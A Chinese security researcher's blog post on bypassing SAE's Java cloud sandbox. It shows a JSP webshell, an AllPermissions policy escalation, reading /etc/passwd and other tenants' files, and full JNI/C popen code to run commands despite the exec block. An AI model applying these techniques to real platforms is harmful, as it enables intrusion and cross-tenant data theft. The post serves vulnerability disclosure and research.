SAE云服务安全沙箱绕过3(绕过命令执行防御)

by 空虚浪子心 http://www.inbreak.net 微博:http://t.qq.com/javasecurity
摘要
谢各位捧场,经过努力,作者已经打到了第三关,这一关叫做“命令执行关”。也不知道是因为作者描述不清楚,还是SAE的理解出现偏差,我们没有直接沟通过,只是作者写篇文章,先交给那边“审核”,“审核”通过后,才发布了,所有的交流,都仅限于文章本身。这种沟通的障碍,是此次绕过安全防御的起始。在作者的第二关:《SAE云服务安全沙箱绕过2(利用crackClassLoader)》(http://www.inbreak.net/archives/411)一文中,提到利用crackClassLoader,绕过java安全沙箱的例子,文末作者以一个命令的成功执行结尾,并且使用cat命令,打出了其他云用户的首页。
正文
SAE看到了禁止命令执行的重要性。在本文的开始,先查看SAE的环境和限制。
上传一个命令执行的JSP页面,打开:
http://1.cracksae.sinaapp.com/cmd.jsp?cmd=id
返回:

这个错误信息,完全不同于原本JAVA沙盒的权限异常信息,并非是java标准沙盒导致的标准权限异常,所以绕过的思路,和标准沙盒肯定不一致。

从错误提示中,可以推测,SAE在runtime.exec函数的执行层面做了限制(包括processBuilder.start()也有限制)。注意,是针对这个函数做的限制,按照之前的思想,作者要做的,当然是绕过这个函数。SAE也是这么认为的,但是,SAE开发人员和作者理解的细节上有偏差。上篇文章,作者发给SAE,内容写到绕过了SAE的沙盒环境,注意是SAE的JAVA沙盒环境。文章原意是,绕过沙盒后,可以做很多事情,而执行cmd仅仅是其中一种罢了。SAE理解为,不让恶意用户执行cmd命令,就可以防止绕过了,昏倒。

作者认为,SAE是云,云安全需要保护的,是用户的数据,至于能不能执行命令,其实是次要的。站在云安全的立场,作者认为,执行系统命令神马的,是web时代的黑客干的,云时代,大家要做的,起码是把云上用户的数据弄出来。

比如,可以读取任意文件:

普通的文件操作,在没有bypass之前,出现了沙盒的错误信息。如果开发人员和作者推测的一致,仅仅针对exec做限制,那就可能没有原来的沙盒策略,仅仅禁止了exec执行命令的函数,这相当于修改了JRE环境。

BYPASS沙盒

这次为了使用方便,作者把文章《SAE云服务安全沙箱绕过2(利用crackClassLoader)》(http://www.inbreak.net/archives/411)中setPolicy这段代码,单独拎出来写好放上去。在web应用环境中,权限设置是针对当前web应用下所有class的,所以只要成功设置了AllPermissions策略,后面文件操作什么的,就统统不再限制了。
第一步执行设置策略setPolicy代码,代码上一篇文章有,这里不再提了,在ExpPermissions2类中有的,这次只是写了个JSP直接调用提权。

提权后,传一个文件浏览器,就可以直接显示:

这说明SAE真的和作者推测的一致,仅仅限制了EXEC命令执行,这对于云来说,相当于不限制。

上图是读取/etc/passwd的内容,进一步列目录,可以到用户的目录中,读取用户的数据。从这里看到,我们已经可以管理其他云用户的文件了。

http://1.bypass3.sinaapp.com/bypass3forfile.jsp?action=fileread&filename=/data1/jetty_work/201/某用户/jetty-0.0.0.0-balabalaXXXXXOOOOOs.war-_1_webrss-any-/webapp/do.jsp

访问上面URL,可以读取云用户“某用户”的do.jsp页面源码:

其实bypass到这里,就已经破防了,但是为了技术研究,以及提醒SAE不要做这样掩耳盗铃的方案,作者又做了一件事情。Sae的开发人员认为,限制了Runtime.exec()函数后,就无法执行系统命令了,但是真是这样么?

命令执行

Java可以调用c语言的动态库,加载进来后,相当于直接使用c语言代码,SAE只限制了exec,bypass这个限制的思路就是调用c语言的动态库。

首先要一个java文件:

package net.inbreak;
public class Loadlab {
        static {
                try {
                        System.load("/root/javaso/libLoadlab.so");
                } catch (UnsatisfiedLinkError e) {
                        System.err.println("Cannot load command library:\n " + e.toString());
                }
        }
        public Loadlab() {
        }
        public native String SayHello(String cmd);
}

这个文件加载了/root/javaso/libLoadlab.so,这里需要改为SAE上,web目录的绝对地址,使用“<%=application.getRealPath("/")%>”,在jsp上拿到即可。

然后生成jni的头文件
执行

javah -jni net.inbreak.Loadlab

生成了“net_inbreak_Loadlab.h”

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class net_inbreak_Loadlab */
#ifndef _Included_net_inbreak_Loadlab
#define _Included_net_inbreak_Loadlab
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     net_inbreak_Loadlab
 * Method:    SayHello
 * Signature: (Ljava/lang/String;)Ljava/lang/String;
 */
JNIEXPORT jstring JNICALL Java_net_inbreak_Loadlab_SayHello
  (JNIEnv *, jobject, jstring);
#ifdef __cplusplus
}
#endif
#endif

根据这个文件,写c代码实现功能,目的是执行系统命令:

#include <stdio.h>
#include <stdlib.h>
#include<string.h>
#include "net_inbreak_Loadlab.h"
#define BUFSIZE 1000
JNIEXPORT jstring JNICALL Java_net_inbreak_Loadlab_SayHello(JNIEnv * env, jobject arg, jstring instring)
 {
 const char *cmd = (*env)->GetStringUTFChars(env, instring, 0);
/*    char buf[1024];
    FILE *pp;
    char *returnchar=(char*)malloc(10);
if( (pp = popen(cmd, "r")) == NULL )
{
    printf("popen() error!\n");
    exit(1);
}
while(fgets(buf, sizeof buf, pp))
{
    char *ch = (char *) buf;
    strcat(returnchar,ch);
}
    char *bufc = (char*)malloc(10);
    strcpy(bufc, returnchar);
    instring = (*env)->NewStringUTF(env, bufc);
    pclose(pp);   
    //convert
*/
FILE *fp;
char buf;
char bufreturn[65535];
if((fp=popen(cmd,"r"))==NULL)
   return instring;
int j=0;
while ((buf=fgetc(fp))!=EOF)
{
   //memcpy(bufreturn,buf,strlen(buf));
   bufreturn[j] = buf;
   j++;
}
pclose(fp);
char *chreturn = (char *)bufreturn;
instring = (*env)->NewStringUTF(env, chreturn);
    return instring;
 } 
int main(int argc, char *argv[]){return 0;}

这段c代码,作用是调用popen函数,执行系统命令,并返回一个jstring给JAVA。
最终的结果,和调用Runtime.exec是一致的。
生成命令:

gcc -I/usr/java/jdk1.6.0_33/include -I/usr/java/jdk1.6.0_33/include/linux -fPIC -c net_inbreak_Loadlab.c

然后

gcc -shared -Wl,-soname,libLoadlab.so.1 -o libLoadlab.so net_inbreak_Loadlab.o

生成了libLoadlab.so文件。
这个文件要放进SAE的web目录中,并且在Loadlab.java中加载起来。
写java代码调用测试一下:

public class Setp {
        public static void main(String[] args)
        {
        String name="java.library.path";
        System.out.println(System.getProperty(name));
        net.inbreak.Loadlab l = new net.inbreak.Loadlab();
        System.out.println("haha:"+l.SayHello("ifconfig"));
        }
}

本机调用测试成功。

但是在sae上竟然失败,这就不抓图了,原因后来查明(读了一下ifconfig等文件),是因为JAVA在linux层面上的账户,没有执行系统命令的权限,这个才是最狠的禁止命令执行方案,无论如何,都不让用户执行系统命令。作者写这段JNI相关的东西,一个原因是为了记录一下,做个笔记,以后可能用到,另一个原因,是担心SAE又搞出来非主流方案,导致绕过,建议至少要禁掉crackClassLoader。

后面要执行命令,有三个思路:
1、提权。
事实上到这里,本文已经证明了可以读取任意云上的文件,提权可能会引起系统未知错误,毕竟不是一台肉鸡,担心影响SAE的线上服务器,作者没有往下去做。
2、在特殊位置写文件。
Linux系统中,总有几个sh,是管理员偶尔会跑的,我们可以改改内容,达到最终目的,但是这样做,已经偏向渗透路线了,作者的目标是云端的沙盒,并非渗透,所以就此停止。
3、替换SAE的那个做安全验证的代码
这个到是可以做一做,不过这个是作者写文章的时候,才想起来的方案。目前已经修补,作者已经在打第四关了,面对无数的限制,在没有突破前,暂时没机会做了。作者不知道能不能BY PASS第四关的变态关卡,不过肯定要试一试。

总结
云安全主要是为了保护用户的数据,至于执行命令什么的,只是获取用户数据的一种手段,包括沙盒bypass,也只是一种手段,SAE这次被BYPASS,是因为没有理解自己真正要保护的内容,往宏观上讲,是没有抓住安全的脉搏,仅仅在技术角度,针对作者的文章,做了一次技术对抗。
作者这样的人,如果目的是为了破坏,就直接做坏事了,何必写文章发给SAE呢?建议还是在沙盒上想办法,学习google,禁止不该有的权限,达到最终目的。最后说明下,本文的题目叫做“SAE云服务安全沙箱绕过3(绕过命令执行防御) “,事实上本文从头到尾都没有绕过”命令执行防御“,但是既然SAE在这里犯了错,所以就叫这个题目了。
By 空虚浪子心 http://www.inbreak.net/ 微博http://t.qq.com/javasecurity

发表评论?

2 条评论。

  1. 文章写的不错,学习学习。。

发表评论

Trackbacks and Pingbacks: